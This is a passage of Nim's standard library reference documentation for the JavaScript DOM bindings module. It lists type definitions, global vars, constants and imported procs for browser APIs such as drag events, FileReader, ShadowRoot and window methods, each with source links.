``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1178) ``` DataTransferEffectAllowed {...}{.pure.} = enum None = "none", Copy = "copy", CopyLink = "copyLink", CopyMove = "copyMove", Link = "link", LinkMove = "linkMove", Move = "move", All = "all", Uninitialized = "uninitialized" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1184) ``` DragEventTypes = enum Drag = "drag", DragEnd = "dragend", DragEnter = "dragenter", DragExit = "dragexit", DragLeave = "dragleave", DragOver = "dragover", DragStart = "dragstart", Drop = "drop" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1195) ``` DragEvent {...}{.importc.} = object of MouseEvent dataTransfer*: DataTransfer ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/DragEvent) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1205) ``` ClipboardEvent {...}{.importc.} = object of Event clipboardData*: DataTransfer ``` see [docs](https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1209) ``` TouchList {...}{.importc.} = ref object of RootObj length*: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1213) ``` Touch = ref TouchObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1216) ``` TouchEvent = ref TouchEventObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1225) ``` Location = ref LocationObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1229) ``` History = ref HistoryObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1241) ``` Navigator = ref NavigatorObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1245) ``` Plugin {...}{.importc.} = object of RootObj description*: cstring filename*: cstring name*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1265) ``` MimeType {...}{.importc.} = object of RootObj description*: cstring enabledPlugin*: ref Plugin suffixes*: seq[cstring] `type`*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1270) ``` LocationBar {...}{.importc.} = object of RootObj visible*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1276) ``` MenuBar = LocationBar ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1278) ``` PersonalBar = LocationBar ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1279) ``` ScrollBars = LocationBar ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1280) ``` ToolBar = LocationBar ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1281) ``` StatusBar = LocationBar ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1282) ``` TimeOut {...}{.importc.} = ref object of RootObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1293) ``` Interval {...}{.importc.} = object of RootObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1294) ``` AddEventListenerOptions = object capture*: bool once*: bool passive*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1296) ``` FontFaceSetReady {...}{.importc.} = ref object then*: proc (cb: proc ()) ``` see: [docs](https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/ready) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1301) ``` FontFaceSet {...}{.importc.} = ref object ready*: FontFaceSetReady onloadingdone*: proc (event: Event) ``` see: [docs](https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1305) ``` DomParser = ref object ``` DOM Parser object (defined on browser only, may not be on NodeJS).* <https://developer.mozilla.org/en-US/docs/Web/API/DOMParser> ``` let prsr = newDomParser() discard prsr.parseFromString("<html><marquee>Hello World</marquee></html>".cstring, "text/html".cstring) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1312) ``` DomException = ref DOMExceptionObj ``` The DOMException interface represents an abnormal event (called an exception) which occurs as a result of calling a method or accessing a property of a web API. Each exception has a name, which is a short "CamelCase" style string identifying the error or abnormal condition. <https://developer.mozilla.org/en-US/docs/Web/API/DOMException> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1320) ``` FileReader = ref FileReaderObj ``` The FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using File or Blob objects to specify the file or data to read. <https://developer.mozilla.org/en-US/docs/Web/API/FileReader> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1329) ``` FileReaderState = distinct range[0'u16 .. 2'u16] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1337) ``` RootNodeOptions = object of RootObj composed*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1338) ``` DocumentOrShadowRoot {...}{.importc.} = object of RootObj activeElement*: Element ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1340) ``` ShadowRoot = ref ShadowRootObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1343) ``` ShadowRootInit = object of RootObj mode*: cstring delegatesFocus*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1349) ``` HTMLSlotElement = ref HTMLSlotElementObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1353) ``` SlotOptions = object of RootObj flatten*: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1356) ``` BoundingRect {...}{.importc.} = object top*, bottom*, left*, right*, x*, y*, width*, height*: float ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1694) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1694) Vars ---- ``` window: Window ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1669) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1669) ``` navigator: Navigator ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1670) ``` screen: Screen ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1671) ``` document: Document ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1674) Consts ------ ``` DomApiVersion = 3 ``` the version of DOM API we try to follow. No guarantees though. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L17) ``` fileReaderEmpty = 0'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1360) ``` fileReaderLoading = 1'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1361) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1361) ``` fileReaderDone = 2'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1362) Procs ----- ``` proc id(n: Node): cstring {...}{.importcpp: "#.id", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1364) ``` proc id=(n: Node; x: cstring) {...}{.importcpp: "#.id = #", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1365) ``` proc class(n: Node): cstring {...}{.importcpp: "#.className", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1366) ``` proc class=(n: Node; v: cstring) {...}{.importcpp: "#.className = #", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1367) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1367) ``` proc value(n: Node): cstring {...}{.importcpp: "#.value", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1369) ``` proc value=(n: Node; v: cstring) {...}{.importcpp: "#.value = #", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1370) ``` proc disabled=(n: Node; v: bool) {...}{.importcpp: "#.disabled = #", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1372) ``` proc len(x: Node): int {...}{.importcpp: "#.childNodes.length".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1450) ``` proc `[]`(x: Node; idx: int): Element {...}{.importcpp: "#.childNodes[#]".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1451) ``` proc getElementById(id: cstring): Element {...}{.importc: "document.getElementById", nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1452) ``` proc appendChild(n, child: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1453) ``` proc removeChild(n, child: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1454) ``` proc remove(child: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1455) ``` proc replaceChild(n, newNode, oldNode: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1456) ``` proc insertBefore(n, newNode, before: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1457) ``` proc getElementById(d: Document; id: cstring): Element {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1458) ``` proc createElement(d: Document; identifier: cstring): Element {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1459) ``` proc createTextNode(d: Document; identifier: cstring): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1460) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1460) ``` proc createComment(d: Document; data: cstring): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1461) ``` proc setTimeout(action: proc (); ms: int): TimeOut {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1463) ``` proc clearTimeout(t: TimeOut) {...}{.importc, nodecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1464) ``` proc addEventListener(et: EventTarget; ev: cstring; cb: proc (ev: Event); useCapture: bool = false) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1469) ``` proc addEventListener(et: EventTarget; ev: cstring; cb: proc (ev: Event); options: AddEventListenerOptions) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1470) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1470) ``` proc dispatchEvent(et: EventTarget; ev: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1471) ``` proc removeEventListener(et: EventTarget; ev: cstring; cb: proc (ev: Event)) {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1472) ``` proc alert(w: Window; msg: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1475) ``` proc back(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1476) ``` proc blur(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1477) ``` proc clearInterval(w: Window; interval: ref Interval) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1478) ``` proc clearTimeout(w: Window; timeout: ref TimeOut) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1479) ``` proc close(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1480) ``` proc confirm(w: Window; msg: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1481) ``` proc disableExternalCapture(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1482) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1482) ``` proc enableExternalCapture(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1483) ``` proc find(w: Window; text: cstring; caseSensitive = false; backwards = false) {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1484) ``` proc focus(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1486) ``` proc forward(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1487) ``` proc getComputedStyle(w: Window; e: Node; pe: Node = nil): Style {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1488) ``` proc handleEvent(w: Window; e: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1489) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1489) ``` proc home(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1490) ``` proc moveBy(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1491) ``` proc moveTo(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1492) ``` proc open(w: Window; uri, windowname: cstring; properties: cstring = nil): Window {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1493) ``` proc print(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1495) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1495) ``` proc prompt(w: Window; text, default: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1496) ``` proc resizeBy(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1497) ``` proc resizeTo(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1498) ``` proc routeEvent(w: Window; event: Event) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1499) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1499) ``` proc scrollBy(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1500) ``` proc scrollTo(w: Window; x, y: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1501) ``` proc setInterval(w: Window; code: cstring; pause: int): ref Interval {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1502) ``` proc setInterval(w: Window; function: proc (); pause: int): ref Interval {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1503) ``` proc setTimeout(w: Window; code: cstring; pause: int): ref TimeOut {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1504) ``` proc setTimeout(w: Window; function: proc (); pause: int): ref Interval {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1505) ``` proc stop(w: Window) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1506) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1506) ``` proc requestAnimationFrame(w: Window; function: proc (time: float)): int {...}{. importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1507) ``` proc cancelAnimationFrame(w: Window; id: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1508) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1508) ``` proc appendData(n: Node; data: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1511) ``` proc cloneNode(n: Node; copyContent: bool): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1512) ``` proc deleteData(n: Node; start, len: int) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1513) ``` proc focus(e: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1514) ``` proc getAttribute(n: Node; attr: cstring): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1515) ``` proc getAttributeNode(n: Node; attr: cstring): Node {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1516) ``` proc hasAttribute(n: Node; attr: cstring): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1517) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1517) ``` proc hasChildNodes(n: Node): bool {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1518) ``` proc normalize(n: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1519) ``` proc insertData(n: Node; position: int; data: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1520) ``` proc removeAttribute(n: Node; attr: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1521) ``` proc removeAttributeNode(n, attr: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1522) ``` proc replaceData(n: Node; start, len: int; text: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1523) ``` proc scrollIntoView(n: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1524) ``` proc setAttribute(n: Node; name, value: cstring) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1525) ``` proc setAttributeNode(n: Node; attr: Node) {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1526) ``` proc querySelector(n: Node; selectors: cstring): Element {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1527) ``` proc querySelectorAll(n: Node; selectors: cstring): seq[Element] {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1528) ``` proc compareDocumentPosition(n: Node; otherNode: Node): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1529) ``` proc lookupPrefix(n: Node): cstring {...}{.importcpp.} ``` 